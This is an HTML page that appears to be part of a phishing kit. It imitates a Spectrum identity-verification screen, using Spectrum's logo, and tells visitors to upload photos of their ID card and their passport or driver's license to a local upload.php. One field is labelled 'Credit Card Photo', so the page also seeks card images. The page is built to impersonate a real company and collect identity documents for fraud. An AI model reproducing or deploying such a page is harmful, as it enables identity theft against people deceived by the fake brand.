<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <link rel="icon" href="favicon.ico" type="image/x-icon" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Verification</title>

  <!-- ✅ Tailwind CSS -->
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">

  <style>
    body {
      font-family: 'Inter', sans-serif;
    }
  </style>
</head>
<body class="bg-gray-100 min-h-screen flex flex-col justify-between">

  <div class="flex-grow flex items-center justify-center">
    <div class="bg-white rounded-md shadow-md p-8 max-w-md w-full">

      <!-- ✅ Logo -->
      <div class="flex justify-center mb-6">
        <img src="https://id.spectrum.net/assets/images/spectrum-logo.svg" alt="Spectrum Logo" class="h-6">
      </div>

      <h2 class="text-2xl font-bold text-center mb-6">Verify Your Identity</h2>

      <!-- ✅ Notice -->
      <div class="bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700 p-4 mb-6 text-sm rounded">
        You are required to upload a photo of your <strong>ID card</strong> and a photo of your <strong>Passport</strong> or <strong>Driver’s License</strong>.
      </div>

      <!-- ✅ Form -->
      <form action="upload.php" method="post" enctype="multipart/form-data" class="space-y-6 text-center">

        <!-- Upload ID Card -->
        <div>
          <label class="block text-sm font-medium text-gray-700 mb-2"> Credit Card Photo</label>
          <input type="file" name="idCard" accept="image/*" required class="block w-full text-sm text-gray-700 file:mr-4 file:py-2 file:px-4 file:rounded-md file:border-0 file:text-sm file:font-semibold file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100">
        </div>

        <!-- Upload Passport or Driver License -->
        <div>
          <label class="block text-sm font-medium text-gray-700 mb-2">Passport or Driver’s License Photo</label>
          <input type="file" name="passportOrLicense" accept="image/*" required class="block w-full text-sm text-gray-700 file:mr-4 file:py-2 file:px-4 file:rounded-md file:border-0 file:text-sm file:font-semibold file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100">
        </div>

        <!-- Submit Button -->
        <button type="submit" class="w-full bg-blue-600 text-white font-semibold py-2 rounded-md hover:bg-blue-700 transition duration-200 mt-4">
          Submit Verification
        </button>
      </form>
    </div>
  </div>

  <!-- ✅ Footer Image -->
  <div class="flex justify-center mt-8 mb-8">
    <img src="Fotter.png" alt="Footer Image" style="width: 450px; height: 100px;">
  </div>
</body>
</html>
